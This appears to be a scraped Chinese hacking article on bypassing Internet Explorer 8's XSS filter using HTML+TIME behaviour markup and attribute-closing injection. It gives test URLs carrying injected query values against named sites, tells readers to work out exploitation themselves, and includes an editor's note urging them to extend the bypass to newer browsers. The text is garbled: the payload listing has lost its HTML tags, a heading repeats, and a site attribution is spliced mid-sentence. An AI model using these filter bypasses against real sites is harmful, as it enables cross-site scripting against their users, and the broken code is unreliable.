1. 在IE8中,可以通过 IE8 xss filter bypass (xss过滤器绕过)脚本安全
。
在测试过程中发现, 同样可写为
也就是说。下面的代码都可以运行JS代码。
01
02
03
04"x">x
05namespaceprefix="t">
06namespace="t"implementation="#default#time2">
07"innerHTML"targetElement="x"to="">
08
09
10
11
12
13
14
15"x">x
16namespaceprefix="t">
17namespace="t"implementation="#default#time2">
18"innerHTML"targetElement="x"to="">
19
20
21
2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter
测试例子如下:
1http://xsst.sinaapp.com/example/1-1.php?page=x
如果用,则会触发过滤器,
电脑资料
《IE8 xss filter bypass (xss过滤器绕过)脚本安全》(https://www.unjs.com)。3. 当然,上面这个代码,只适用于 {输出在这里} 的情况。
我们经常会遇到类似 的情况。
这样一来,我们需要在代码前面加上 “> 来闭合HTML属性。
但是问题来啦, “> 会触发XSS过滤器,过滤掉我们代码中的敏感词。
这样一来,我们上面的代码可以进一步通用化。
http://www.myhack58.com/product.php?search="id=>x
1http://www.xxxx.com/product.php?search="id=>x
4. 至于具体怎么利用,恩,大家自己看着办。
4. 至于具体怎么利用,恩,大家自己看着办。
编辑点评:虽然这只是IE8的xss,但是读者可以通过思路延伸,研究下如何绕IE9或者其他浏览器,毕竟用IE8的人还是很多的。更多的饶过xss限制的方法可以参考《跨站测试与利用中的绕过技术》文章。